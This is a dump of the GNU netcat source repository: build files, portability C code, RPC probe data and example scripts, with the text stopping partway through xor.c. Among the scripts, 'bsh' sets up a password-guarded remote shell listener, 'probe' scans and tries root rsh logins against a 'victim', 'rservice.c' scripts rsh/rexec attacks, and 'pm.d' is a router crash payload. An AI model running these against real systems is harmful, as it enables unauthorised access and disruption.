├── .gitignore ├── data ├── data ├── xor ├── rservice ├── Makefile ├── pm.d ├── README ├── dns-any.d ├── nfs-0.d ├── showmount.d ├── rip.d ├── rservice.c ├── pmap-dump.d ├── pmap-mnt.d ├── xor.c └── data.c ├── config └── .gitignore ├── scripts ├── README ├── bsh ├── dist.sh ├── iscan ├── alta ├── ncp ├── webrelay ├── irc ├── probe ├── websearch ├── web └── webproxy ├── memcmp.c ├── README-alpha ├── Makefile.am ├── poll_.h ├── configure.ac ├── dup2.c ├── poll.c ├── README ├── Changelog ├── getopt.h ├── getopt1.c ├── nc.1 ├── strtoul.c ├── getopt.c ├── netcat.c └── netcat.texi /.gitignore: -------------------------------------------------------------------------------- 1 | *.info* 2 | -------------------------------------------------------------------------------- /data/data: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bonzini/netcat/HEAD/data/data -------------------------------------------------------------------------------- /data/xor: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bonzini/netcat/HEAD/data/xor -------------------------------------------------------------------------------- /config/.gitignore: -------------------------------------------------------------------------------- 1 | missing 2 | depcomp 3 | install-sh 4 | texinfo.tex 5 | -------------------------------------------------------------------------------- /data/rservice: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bonzini/netcat/HEAD/data/rservice -------------------------------------------------------------------------------- /data/Makefile: -------------------------------------------------------------------------------- 1 | all: data rservice xor 2 | 3 | data: data.c 4 | cc -s -O -o data data.c 5 | rservice: rservice.c 6 | cc -s -O -o rservice rservice.c 7 | xor: xor.c 8 | cc -s -O -o xor xor.c 9 | clean: 10 | rm -f *.o data rservice xor 11 | -------------------------------------------------------------------------------- /scripts/README: -------------------------------------------------------------------------------- 1 | A collection of example scripts that use netcat as a backend, each 2 | documented by its own internal comments. 3 | 4 | I'll be the first to admit that some of these are seriously *sick*, 5 | but they do work and are quite useful to me on a daily basis. 6 | -------------------------------------------------------------------------------- /data/pm.d: -------------------------------------------------------------------------------- 1 | # obligatory duplicate of dr delete's Livingston portmaster crash, aka 2 | # telnet break. Fire into its telnet listener. An *old* bug by now, but 3 | # consider the small window one might obtain from a slightly out-of-rev PM 4 | # used as a firewall, that starts routing IP traffic BEFORE its filter sets 5 | # are fully loaded... 6 | 7 | 255 # 0xff # . 1 8 | 243 # 0xf3 # . 2 9 | -------------------------------------------------------------------------------- /memcmp.c: -------------------------------------------------------------------------------- 1 | /* memcmp(3) emulation. 2 | This file is in the public domain.*/ 3 | 4 | int 5 | memcmp (a, b, n) 6 | unsigned char *a, *b; 7 | int n; 8 | { 9 | if (n) 10 | do 11 | { 12 | int ch1 = *b++; 13 | int ch0 = *a++; 14 | int delta = ch0 - ch1; 15 | if (delta) 16 | return delta; 17 | } 18 | while (--n); 19 | 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /data/README: -------------------------------------------------------------------------------- 1 | For now, read the header comments inside each of these for documentation. 2 | The programs are simple enough that they don't really need a Makefile any more 3 | complex than the one given; ymmv. Data and xor may also be useful on DOS, 4 | which is why there are hooks for it in the code. 5 | 6 | data.c a primitive atob / btoa byte generator 7 | *.d example input to "data -g" 8 | rservice.c a utility for scripting up rsh/rexec attacks 9 | xor.c generic xor handler 10 | -------------------------------------------------------------------------------- /data/dns-any.d: -------------------------------------------------------------------------------- 1 | # dns "any for ." query, to udp 53 2 | # if tcp: precede with 2 bytes of len: 3 | # 0 4 | # 17 5 | # you should get at least *one* record back out 6 | 7 | # HEADER: 8 | 0 # query id = 2 9 | 2 10 | 11 | 1 # flags/opcodes = query, dorecurse 12 | 0 13 | 14 | 0 # qdcount, i.e. nqueries: 1 15 | 1 16 | 17 | 0 # ancount: answers, 0 18 | 0 19 | 20 | 0 # nscount: 0 21 | 0 22 | 23 | 0 # addl records: 0 24 | 0 25 | 26 | # end of fixed header 27 | 28 | 0 # name-len: 0 for ".", lenbyte plus name-bytes otherwise 29 | 30 | 0 # type: any, 255 31 | 0xff 32 | 33 | 0 # class: IN 34 | 1 35 | 36 | # i think that's it.. 37 | -------------------------------------------------------------------------------- /scripts/bsh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ## a little wrapper to "password" and re-launch a shell-listener. 3 | ## Arg is taken as the port to listen on. Define "NC" to point wherever. 4 | 5 | NC=nc 6 | 7 | case "$1" in 8 | ?* ) 9 | LPN="$1" 10 | export LPN 11 | sleep 1 12 | echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 & 13 | echo "launched on port $LPN" 14 | exit 0 15 | ;; 16 | esac 17 | 18 | # here we play inetd 19 | echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 & 20 | 21 | while read qq ; do 22 | case "$qq" in 23 | # here's yer password 24 | gimme ) 25 | cd / 26 | exec csh -i 27 | ;; 28 | esac 29 | done 30 | -------------------------------------------------------------------------------- /README-alpha: -------------------------------------------------------------------------------- 1 | This release is super-alpha. If I screwed up your favorite 2 | platform or your favorite netcat trick, or removed your 3 | favorite functionality, or otherwise caused you to be 4 | upset, please tell me at bonzini@gnu.org. Patches are 5 | welcome, but flames are too. 6 | 7 | I tried to made the source code as readable as possible, 8 | but I might have missed obvious opportunities: indications 9 | for these things are also welcome. 10 | 11 | Something I have not done for laziness is to add long 12 | options. A patch for this is most welcome. 13 | 14 | Finally, the conversion of the manual to Texinfo can also 15 | be improved and might need proofreading. 16 | 17 | Thanks in advance, 18 | 19 | Paolo 20 | -------------------------------------------------------------------------------- /Makefile.am: -------------------------------------------------------------------------------- 1 | AUTOMAKE_OPTIONS = foreign 2 | 3 | AM_CPPFLAGS = -I. 4 | AM_CFLAGS = -Wall 5 | nc_SOURCES = netcat.c getopt.c getopt1.c 6 | noinst_HEADERS = getopt.h 7 | nc_LDADD = @LIBOBJS@ 8 | bin_PROGRAMS = nc 9 | dist_man1_MANS = nc.1 10 | dist_noinst_HEADERS = poll_.h 11 | info_TEXINFOS = netcat.texi 12 | EXTRA_DIST = README-alpha \ 13 | data/Makefile data/README data/data.c data/dns-any.d \ 14 | data/nfs-0.d data/pm.d data/pmap-dump.d data/pmap-mnt.d \ 15 | data/rip.d data/rservice.c data/showmount.d data/xor.c \ 16 | scripts/README scripts/alta scripts/bsh scripts/dist.sh \ 17 | scripts/irc scripts/iscan scripts/ncp scripts/probe \ 18 | scripts/web scripts/webproxy scripts/webrelay scripts/websearch 19 | 20 | DISTCLEANFILES = poll.h 21 | -------------------------------------------------------------------------------- /data/nfs-0.d: -------------------------------------------------------------------------------- 1 | # UDP NFS null-proc call; finds active NFS listeners on port 2049. 2 | # If you get *something* back, there's an NFS server there. 3 | 4 | 000 # XID: 4 trash bytes 5 | 001 6 | 002 7 | 003 8 | 9 | 000 # CALL: 0 10 | 000 11 | 000 12 | 000 13 | 14 | 000 # RPC version: 2 15 | 000 16 | 000 17 | 002 18 | 19 | 000 # nfs: 100003 20 | 001 21 | 0x86 22 | 0xa3 23 | 24 | 000 # version: 1 25 | 000 26 | 000 27 | 001 28 | 29 | 000 # procedure number: 0 30 | 000 31 | 000 32 | 000 33 | 34 | 000 # port: junk 35 | 000 36 | 000 37 | 000 38 | 39 | 000 # auth trash 40 | 000 41 | 000 42 | 000 43 | 44 | 000 # auth trash 45 | 000 46 | 000 47 | 000 48 | 49 | 000 # auth trash 50 | 000 51 | 000 52 | 000 53 | 54 | 000 # extra auth trash? probably not needed 55 | 000 56 | 000 57 | 000 58 | 59 | # that's it! 60 | -------------------------------------------------------------------------------- /poll_.h: -------------------------------------------------------------------------------- 1 | /* Header for poll(2) emulation. 2 | This file is in the public domain. */ 3 | 4 | #ifndef MY_POLL_H 5 | #define MY_POLL_H 6 | 7 | #define POLLIN 0x0001 /* mapped to read fds_set */ 8 | #define POLLPRI 0x0002 /* mapped to exception fds_set */ 9 | #define POLLOUT 0x0004 /* mapped to write fds_set */ 10 | #define POLLERR 0x0008 11 | #define POLLHUP 0x0010 /* cannot read data from descriptor */ 12 | #define POLLNVAL 0x0020 /* invalid file descriptor */ 13 | #define POLLRDNORM 0x0040 /* mapped to read fds_set */ 14 | #define POLLRDBAND 0x0080 /* mapped to exception fds_set */ 15 | #define POLLWRNORM 0x0100 /* mapped to write fds_set */ 16 | #define POLLWRBAND 0x0200 /* mapped to write fds_set */ 17 | 18 | typedef unsigned long nfds_t; 19 | 20 | struct pollfd 21 | { 22 | int fd; 23 | short events; 24 | short revents; 25 | }; 26 | 27 | extern int poll (struct pollfd *pfd, nfds_t nfd, int timeout); 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /scripts/dist.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ## This is a quick example listen-exec server, which was used for a while to 3 | ## distribute netcat prereleases. It illustrates use of netcat both as a 4 | ## "fake inetd" and a syslogger, and how easy it then is to crock up a fairly 5 | ## functional server that restarts its own listener and does full connection 6 | ## logging. In a half-screen of shell script!! 7 | 8 | PORT=31337 9 | 10 | sleep 1 11 | SRC=`tail -1 dist.log` 12 | echo "<36>elite: ${SRC}" | ./nc -u -w 1 localhost 514 > /dev/null 2>&1 13 | echo ";;; Hi, ${SRC}..." 14 | echo ";;; This is a PRERELEASE version of 'netcat', tar/gzip/uuencoded." 15 | echo ";;; Unless you are capturing this somehow, it won't do you much good." 16 | echo ";;; Ready?? Here it comes! Have phun ..." 17 | sleep 8 18 | cat dist.file 19 | sleep 1 20 | ./nc -v -l -p ${PORT} -e dist.sh < /dev/null >> dist.log 2>&1 & 21 | sleep 1 22 | echo "<36>elite: done" | ./nc -u -w 1 localhost 514 > /dev/null 2>&1 23 | exit 0 24 | -------------------------------------------------------------------------------- /scripts/iscan: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ## duplicate DaveG's ident-scan thingie using netcat. Oooh, he'll be pissed. 3 | ## args: target port [port port port ...] 4 | ## hose stdout *and* stderr together. 5 | ## 6 | ## advantages: runs slower than ident-scan, giving remote inetd less cause 7 | ## for alarm, and only hits the few known daemon ports you specify. 8 | ## disadvantages: requires numeric-only port args, the output sleazitude, 9 | ## and won't work for r-services when coming from high source ports. 10 | 11 | case "${2}" in 12 | "" ) echo needs HOST and at least one PORT ; exit 1 ;; 13 | esac 14 | 15 | # ping 'em once and see if they *are* running identd 16 | nc -z -w 9 "$1" 113 || { echo "oops, $1 isn't running identd" ; exit 0 ; } 17 | 18 | # generate a randomish base port 19 | RP=`expr $$ % 999 + 31337` 20 | 21 | TRG="$1" 22 | shift 23 | 24 | while test "$1" ; do 25 | nc -v -w 8 -p ${RP} "$TRG" ${1} < /dev/null > /dev/null & 26 | PROC=$! 27 | sleep 3 28 | echo "${1},${RP}" | nc -w 4 -r "$TRG" 113 2>&1 29 | sleep 2 30 | # does this look like a lamer script or what... 31 | kill -HUP $PROC 32 | RP=`expr ${RP} + 1` 33 | shift 34 | done 35 | 36 | -------------------------------------------------------------------------------- /data/showmount.d: -------------------------------------------------------------------------------- 1 | # UDP mountd call. Use as input to find mount daemons and avoid portmap. 2 | # Useful proc numbers are 2, 5, and 6. 3 | # UDP-scan around between 600-800 to find most mount daemons. 4 | # Using this with "2", plugged into "nc -u -v -w 2 victim X-Y" will 5 | # directly scan *and* dump the current exports when mountd is hit. 6 | # combine stdout *and* stderr thru "strings" or something to clean it up 7 | 8 | 000 # XID: 4 trash bytes 9 | 001 10 | 002 11 | 003 12 | 13 | 000 # CALL: 0 14 | 000 15 | 000 16 | 000 17 | 18 | 000 # RPC version: 2 19 | 000 20 | 000 21 | 002 22 | 23 | 000 # mount: 100005 24 | 001 25 | 0x86 26 | 0xa5 27 | 28 | 000 # mount version: 1 29 | 000 30 | 000 31 | 001 32 | 33 | 000 # procedure number -- put what you need here: 34 | 000 # 2 = dump [showmount -e] 35 | 000 # 5 = exportlist [showmount -a] 36 | xxx # "sed s/xxx/$1/ | data -g | nc ..." or some such... 37 | 38 | 000 # port: junk 39 | 000 40 | 000 41 | 000 42 | 43 | 000 # auth trash 44 | 000 45 | 000 46 | 000 47 | 48 | 000 # auth trash 49 | 000 50 | 000 51 | 000 52 | 53 | 000 # auth trash 54 | 000 55 | 000 56 | 000 57 | 58 | 000 # extra auth trash? probably not needed 59 | 000 60 | 000 61 | 000 62 | 63 | # that's it! 64 | -------------------------------------------------------------------------------- /scripts/alta: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ## special handler for altavista, since they only hand out chunks of 10 at 3 | ## a time. Tries to isolate out results without the leading/trailing trash. 4 | ## multiword arguments are foo+bar, as usual. 5 | ## Second optional arg switches the "what" field, to e.g. "news" 6 | 7 | test "${1}" = "" && echo 'Needs an argument to search for!' && exit 1 8 | WHAT="web" 9 | test "${2}" && WHAT="${2}" 10 | 11 | # convert multiple args 12 | PLUSARG="`echo $* | sed 's/ /+/g'`" 13 | 14 | # Plug in arg. only doing simple-q for now; pg=aq for advanced-query 15 | # embedded quotes define phrases; otherwise it goes wild on multi-words 16 | QB="GET /cgi-bin/query?pg=q&what=${WHAT}&fmt=c&q=\"${PLUSARG}\"" 17 | 18 | # ping 'em once, to get the routing warm 19 | nc -z -w 8 www.altavista.digital.com 24015 2> /dev/null 20 | echo "=== Altavista ===" 21 | 22 | for xx in 0 10 20 30 40 50 60 70 80 90 100 110 120 130 140 150 160 170 180 \ 23 | 190 200 210 220 230 240 250 260 270 280 290 300 310 320 330 340 350 ; do 24 | echo "${QB}&stq=${xx}" | nc -w 15 www.altavista.digital.com 80 | \ 25 | egrep '^ 13 | 14 | /* change if you like; "id" is a good one for figuring out if you won too */ 15 | static char cmd[] = "pwd"; 16 | 17 | static char buf [256]; 18 | 19 | main(argc, argv) 20 | int argc; 21 | char * argv[]; 22 | { 23 | register int x; 24 | register int y; 25 | char * p; 26 | char * q; 27 | 28 | p = buf; 29 | memset (buf, 0, 256); 30 | 31 | p++; /* first null */ 32 | y = 1; 33 | 34 | if (! argv[1]) 35 | goto wrong; 36 | x = strlen (argv[1]); 37 | memcpy (p, argv[1], x); /* first arg plus another null */ 38 | x++; 39 | p += x; 40 | y += x; 41 | 42 | if (! argv[2]) 43 | goto wrong; 44 | x = strlen (argv[2]); 45 | memcpy (p, argv[2], x); /* second arg plus null */ 46 | x++; 47 | p += x; 48 | y += x; 49 | 50 | q = cmd; 51 | if (argv[3]) 52 | q = argv[3]; 53 | x = strlen (q); /* not checked -- bfd */ 54 | memcpy (p, q, x); /* the command, plus final null */ 55 | x++; 56 | p += x; 57 | y += x; 58 | 59 | memcpy (p, "\n", 1); /* and a newline, so it goes */ 60 | y++; 61 | 62 | write (1, buf, y); /* zot! */ 63 | exit (0); 64 | 65 | wrong: 66 | fprintf (stderr, "wrong! needs 2 or more args.\n"); 67 | exit (1); 68 | } 69 | -------------------------------------------------------------------------------- /data/pmap-dump.d: -------------------------------------------------------------------------------- 1 | # portmap dump request: like "rpcinfo -p" but via UDP instead 2 | # send to UDP 111 and hope it's not a logging portmapper! 3 | # split into longwords, since rpc apparently only deals with them 4 | 5 | 001 # 0x01 # . # XID: 4 trash bytes 6 | 002 # 0x02 # . 7 | 003 # 0x03 # . 8 | 004 # 0x04 # . 9 | 10 | 000 # 0x00 # . # MSG: int 0=call, 1=reply 11 | 000 # 0x00 # . 12 | 000 # 0x00 # . 13 | 000 # 0x00 # . 14 | 15 | 000 # 0x00 # . # pmap call body: rpc version=2 16 | 000 # 0x00 # . 17 | 000 # 0x00 # . 18 | 002 # 0x02 # . 19 | 20 | 000 # 0x00 # . # pmap call body: prog=PMAP, 100000 21 | 001 # 0x01 # . 22 | 134 # 0x86 # . 23 | 160 # 0xa0 # . 24 | 25 | 000 # 0x00 # . # pmap call body: progversion=2 26 | 000 # 0x00 # . 27 | 000 # 0x00 # . 28 | 002 # 0x02 # . 29 | 30 | 000 # 0x00 # . # pmap call body: proc=DUMP, 4 31 | 000 # 0x00 # . 32 | 000 # 0x00 # . 33 | 004 # 0x04 # . 34 | 35 | # with AUTH_NONE, there are 4 zero integers [16 bytes] here 36 | 37 | 000 # 0x00 # . # auth junk: cb_cred: auth_unix = 1; NONE = 0 38 | 000 # 0x00 # . 39 | 000 # 0x00 # . 40 | 000 # 0x00 # . 41 | 42 | 000 # 0x00 # . # auth junk 43 | 000 # 0x00 # . 44 | 000 # 0x00 # . 45 | 000 # 0x00 # . 46 | 47 | 000 # 0x00 # . # auth junk 48 | 000 # 0x00 # . 49 | 000 # 0x00 # . 50 | 000 # 0x00 # . 51 | 52 | 000 # 0x00 # . # auth junk 53 | 000 # 0x00 # . 54 | 000 # 0x00 # . 55 | 000 # 0x00 # . 56 | 57 | # The reply you get back contains your XID, int 1 if "accepted", and 58 | # a whole mess of gobbledygook containing program numbers, versions, 59 | # and ports that rpcinfo knows how to decode. For the moment, you get 60 | # to wade through it yourself... 61 | -------------------------------------------------------------------------------- /scripts/ncp: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ## Like "rcp" but uses netcat on a high port. 3 | ## do "ncp targetfile" on the RECEIVING machine 4 | ## then do "ncp sourcefile receivinghost" on the SENDING machine 5 | ## if invoked as "nzp" instead, compresses transit data. 6 | 7 | ## pick your own personal favorite port, which will be used on both ends. 8 | ## You should probably change this for your own uses. 9 | MYPORT=23456 10 | 11 | ## if "nc" isn't systemwide or in your PATH, add the right place 12 | # PATH=${HOME}:${PATH} ; export PATH 13 | 14 | test "$3" && echo "too many args" && exit 1 15 | test ! "$1" && echo "no args?" && exit 1 16 | me=`echo $0 | sed 's+.*/++'` 17 | test "$me" = "nzp" && echo '[compressed mode]' 18 | 19 | # if second arg, it's a host to send an [extant] file to. 20 | if test "$2" ; then 21 | test ! -f "$1" && echo "can't find $1" && exit 1 22 | if test "$me" = "nzp" ; then 23 | compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0 24 | else 25 | nc -v -w 2 $2 $MYPORT < "$1" && exit 0 26 | fi 27 | echo "transfer FAILED!" 28 | exit 1 29 | fi 30 | 31 | # fall here for receiver. Ask before trashing existing files 32 | if test -f "$1" ; then 33 | echo -n "Overwrite $1? " 34 | read aa 35 | test ! "$aa" = "y" && echo "[punted!]" && exit 1 36 | fi 37 | # 30 seconds oughta be pleeeeenty of time, but change if you want. 38 | if test "$me" = "nzp" ; then 39 | nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0 40 | else 41 | nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0 42 | fi 43 | echo "transfer FAILED!" 44 | # clean up, since even if the transfer failed, $1 is already trashed 45 | rm -f "$1" 46 | exit 1 47 | -------------------------------------------------------------------------------- /dup2.c: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 1991, 92, 93, 95, 96 Free Software Foundation, Inc. 2 | This file is part of the GNU C Library. 3 | 4 | The GNU C Library is free software; you can redistribute it and/or 5 | modify it under the terms of the GNU Library General Public License as 6 | published by the Free Software Foundation; either version 2 of the 7 | License, or (at your option) any later version. 8 | 9 | The GNU C Library is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 12 | Library General Public License for more details. 13 | 14 | You should have received a copy of the GNU Library General Public 15 | License along with the GNU C Library; see the file COPYING.LIB. If 16 | not, write to the Free Software Foundation, Inc., 675 Mass Ave, 17 | Cambridge, MA 02139, USA. */ 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | 25 | /* Duplicate FD to FD2, closing the old FD2 and making FD2 be 26 | open the same file as FD is. Return FD2 or -1. */ 27 | int 28 | dup2 (int fd, int fd2) 29 | { 30 | int save; 31 | 32 | if (fd2 < 0 33 | #ifdef OPEN_MAX 34 | || fd2 >= OPEN_MAX 35 | #endif 36 | ) 37 | { 38 | errno = EBADF; 39 | return -1; 40 | } 41 | 42 | /* Check if FD is kosher. */ 43 | if (fcntl (fd, F_GETFL) < 0) 44 | return -1; 45 | 46 | if (fd == fd2) 47 | return fd2; 48 | 49 | /* This is not atomic. */ 50 | 51 | save = errno; 52 | (void) close (fd2); 53 | errno = save; 54 | 55 | return fcntl (fd, F_DUPFD, fd2); 56 | } 57 | 58 | -------------------------------------------------------------------------------- /scripts/webrelay: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ## web relay -- a degenerate version of webproxy, usable with browsers that 3 | ## don't understand proxies. This just forwards connections to a given server. 4 | ## No query logging, no access control [although you can add it to XNC for 5 | ## your own run], and full-URL links will undoubtedly confuse the browser 6 | ## if it can't reach the server directly. This was actually written before 7 | ## the full proxy was, and it shows. 8 | ## The arguments in this case are the destination server and optional port. 9 | ## Please flame pinheads who use self-referential absolute links. 10 | 11 | # set these as you wish: proxy port... 12 | PORT=8000 13 | # any extra args to the listening "nc", for instance "-s inside-net-addr" 14 | XNC='' 15 | 16 | # functionality switch, which has to be done fast to start the next listener 17 | case "${1}${RDEST}" in 18 | "") 19 | echo needs hostname 20 | exit 1 21 | ;; 22 | esac 23 | 24 | case "${1}" in 25 | "") 26 | # no args: fire off new relayer process NOW. Will hang around for 10 minutes 27 | nc -w 600 -l -n -p $PORT -e "$0" $XNC < /dev/null > /dev/null 2>&1 & 28 | # and handle this request, which will simply fail if vars not set yet. 29 | exec nc -w 15 $RDEST $RPORT 30 | ;; 31 | esac 32 | 33 | # Fall here for setup; this can now be slower. 34 | RDEST="$1" 35 | RPORT="$2" 36 | test "$RPORT" || RPORT=80 37 | export RDEST RPORT 38 | 39 | # Launch the first relayer same as above, but let its error msgs show up 40 | # will hang around for a minute, and exit if no new connections arrive. 41 | nc -v -w 600 -l -p $PORT -e "$0" $XNC < /dev/null > /dev/null & 42 | echo \ 43 | "Relay to ${RDEST}:${RPORT} running -- point your browser here on port $PORT" 44 | exit 0 45 | -------------------------------------------------------------------------------- /data/pmap-mnt.d: -------------------------------------------------------------------------------- 1 | # portmap request for mountd [or whatever; see where prog=MOUNT] 2 | # send to UDP 111 and hope it's not a logging portmapper! 3 | # split into longwords, since rpc apparently only deals with them 4 | 5 | 001 # 0x01 # . # XID: 4 trash bytes 6 | 002 # 0x02 # . 7 | 003 # 0x03 # . 8 | 004 # 0x04 # . 9 | 10 | 000 # 0x00 # . # MSG: int 0=call, 1=reply 11 | 000 # 0x00 # . 12 | 000 # 0x00 # . 13 | 000 # 0x00 # . 14 | 15 | 000 # 0x00 # . # pmap call body: rpc version=2 16 | 000 # 0x00 # . 17 | 000 # 0x00 # . 18 | 002 # 0x02 # . 19 | 20 | 000 # 0x00 # . # pmap call body: prog=PMAP, 100000 21 | 001 # 0x01 # . 22 | 134 # 0x86 # . 23 | 160 # 0xa0 # . 24 | 25 | 000 # 0x00 # . # pmap call body: progversion=2 26 | 000 # 0x00 # . 27 | 000 # 0x00 # . 28 | 002 # 0x02 # . 29 | 30 | 000 # 0x00 # . # pmap call body: proc=GETPORT, 3 31 | 000 # 0x00 # . 32 | 000 # 0x00 # . 33 | 003 # 0x03 # . 34 | 35 | # with AUTH_NONE, there are 4 zero integers [16 bytes] here 36 | 37 | 000 # 0x00 # . # auth junk: cb_cred: auth_unix = 1; NONE = 0 38 | 000 # 0x00 # . 39 | 000 # 0x00 # . 40 | 000 # 0x00 # . 41 | 42 | 000 # 0x00 # . # auth junk 43 | 000 # 0x00 # . 44 | 000 # 0x00 # . 45 | 000 # 0x00 # . 46 | 47 | 000 # 0x00 # . # auth junk 48 | 000 # 0x00 # . 49 | 000 # 0x00 # . 50 | 000 # 0x00 # . 51 | 52 | 000 # 0x00 # . # auth junk 53 | 000 # 0x00 # . 54 | 000 # 0x00 # . 55 | 000 # 0x00 # . 56 | 57 | 000 # 0x00 # . # prog=MOUNT, 100005 58 | 001 # 0x01 # . 59 | 134 # 0x86 # . 60 | 165 # 0xa5 # . 61 | 62 | 000 # 0x00 # . # progversion=1 63 | 000 # 0x00 # . 64 | 000 # 0x00 # . 65 | 001 # 0x01 # . 66 | 67 | 000 # 0x00 # . # protocol=udp, 17 68 | 000 # 0x00 # . 69 | 000 # 0x00 # . 70 | 017 # 0x11 # . 71 | 72 | 000 # 0x00 # . # proc num = junk 73 | 000 # 0x00 # . 74 | 000 # 0x00 # . 75 | 000 # 0x00 # . 76 | 77 | # The reply you get back contains your XID, int 1 if "accepted", and 78 | # mountd's port number at the end or 0 if not registered. 79 | -------------------------------------------------------------------------------- /scripts/irc: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ## Shit-simple script to supply the "privmsg " of IRC typein, and 3 | ## keep the connection alive. Pipe this thru "nc -v -w 5 irc-server port". 4 | ## Note that this mechanism makes the script easy to debug without being live, 5 | ## since it just echoes everything bound for the server. 6 | ## if you want autologin-type stuff, construct some appropriate files and 7 | ## shovel them in using the "<" mechanism. 8 | 9 | # magic arg: if "tick", do keepalive process instead of main loop 10 | if test "$1" = "tick" ; then 11 | # ignore most signals; the parent will nuke the kid 12 | # doesn't stop ^Z, of course. 13 | trap '' 1 2 3 13 14 15 16 14 | while true ; do 15 | sleep 60 16 | echo "PONG !" 17 | done 18 | fi 19 | 20 | # top level: fire ourselves off as the keepalive process, and keep track of it 21 | sh $0 tick & 22 | ircpp=$! 23 | echo "[Keepalive: $ircpp]" >&2 24 | # catch our own batch of signals: hup int quit pipe alrm term urg 25 | trap 'kill -9 $ircpp ; exit 0' 1 2 3 13 14 15 16 26 | sleep 2 27 | 28 | sender='' 29 | savecmd='' 30 | 31 | # the big honkin' loop... 32 | while read xx yy ; do 33 | case "${xx}" in 34 | # blank line: do nothing 35 | "") 36 | continue 37 | ;; 38 | # new channel or recipient; if bare ">", we're back to raw literal mode. 39 | ">") 40 | if test "${yy}" ; then 41 | sender="privmsg ${yy} :" 42 | else 43 | sender='' 44 | fi 45 | continue 46 | ;; 47 | # send crud from a file, one line per second. Can you say "skr1pt kidz"?? 48 | # *Note: uses current "recipient" if set. 49 | "<") 50 | if test -f "${yy}" ; then 51 | ( while read zz ; do 52 | sleep 1 53 | echo "${sender}${zz}" 54 | done ) < "$yy" 55 | echo "[done]" >&2 56 | else 57 | echo "[File $yy not found]" >&2 58 | fi 59 | continue 60 | ;; 61 | # do and save a single command, for quick repeat 62 | "/") 63 | if test "${yy}" ; then 64 | savecmd="${yy}" 65 | fi 66 | echo "${savecmd}" 67 | ;; 68 | # default case goes to recipient, just like always 69 | *) 70 | echo "${sender}${xx} ${yy}" 71 | continue 72 | ;; 73 | esac 74 | done 75 | 76 | # parting shot, if you want it 77 | echo "quit :Bye all!" 78 | kill -9 $ircpp 79 | exit 0 80 | -------------------------------------------------------------------------------- /scripts/probe: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ## launch a whole buncha shit at yon victim in no particular order; capture 3 | ## stderr+stdout in one place. Run as root for rservice and low -p to work. 4 | ## Fairly thorough example of using netcat to collect a lot of host info. 5 | ## Will set off every intrusion alarm in existence on a paranoid machine! 6 | 7 | # where .d files are kept; "." if nothing else 8 | DDIR=../data 9 | # address of some well-connected router that groks LSRR 10 | GATE=192.157.69.11 11 | 12 | # might conceivably wanna change this for different run styles 13 | UCMD='nc -v -w 8' 14 | 15 | test ! "$1" && echo Needs victim arg && exit 1 16 | 17 | echo '' | $UCMD -w 9 -r "$1" 13 79 6667 2>&1 18 | echo '0' | $UCMD "$1" 79 2>&1 19 | # if LSRR was passed thru, should get refusal here: 20 | $UCMD -z -r -g $GATE "$1" 6473 2>&1 21 | $UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1 22 | # -s `hostname` may be wrong for some multihomed machines 23 | echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1 24 | echo '113,10158' | $UCMD -p 10158 "$1" 113 2>&1 25 | rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1 26 | echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1 27 | # newline after any telnet trash 28 | echo '' 29 | echo PASV | $UCMD -r "$1" 21 2>&1 30 | echo 'GET /' | $UCMD -w 10 "$1" 80 81 210 70 2>&1 31 | # sometimes contains useful directory info: 32 | echo 'GET /robots.txt' | $UCMD -w 10 "$1" 80 2>&1 33 | # now the big red lights go on 34 | rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1 35 | rservice root root | $UCMD -r "$1" exec 2>&1 36 | echo 'BEGIN big udp -- everything may look "open" if packet-filtered' 37 | data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1 38 | # no wait-time, uses RTT hack 39 | nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1 40 | nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1 41 | echo 'END big udp' 42 | $UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1 43 | # Use our identd-sniffer! 44 | iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1 45 | # this gets pretty intrusive, but what the fuck. Probe for portmap first 46 | if nc -w 5 -z -u "$1" 111 ; then 47 | showmount -e "$1" 2>&1 48 | rpcinfo -p "$1" 2>&1 49 | fi 50 | exit 0 51 | -------------------------------------------------------------------------------- /data/xor.c: -------------------------------------------------------------------------------- 1 | /* Generic xor handler. 2 | 3 | With no args, xors stdin against 0xFF to stdout. A single argument is a 4 | file to read xor-bytes out of. Any zero in the xor-bytes array is treated 5 | as the end; if you need to xor against a string that *includes* zeros, 6 | you're on your own. 7 | 8 | The indirect file can be generated easily with data.c. 9 | 10 | Written because there are so many lame schemes for "masking" plaintext 11 | passwords and the like floating around, and it's handy to just run an 12 | obscure binary-format configuration file through this and look for strings. 13 | 14 | *Hobbit*, 960208 */ 15 | 16 | #include 17 | #include 18 | 19 | char buf[8192]; 20 | char bytes[256]; 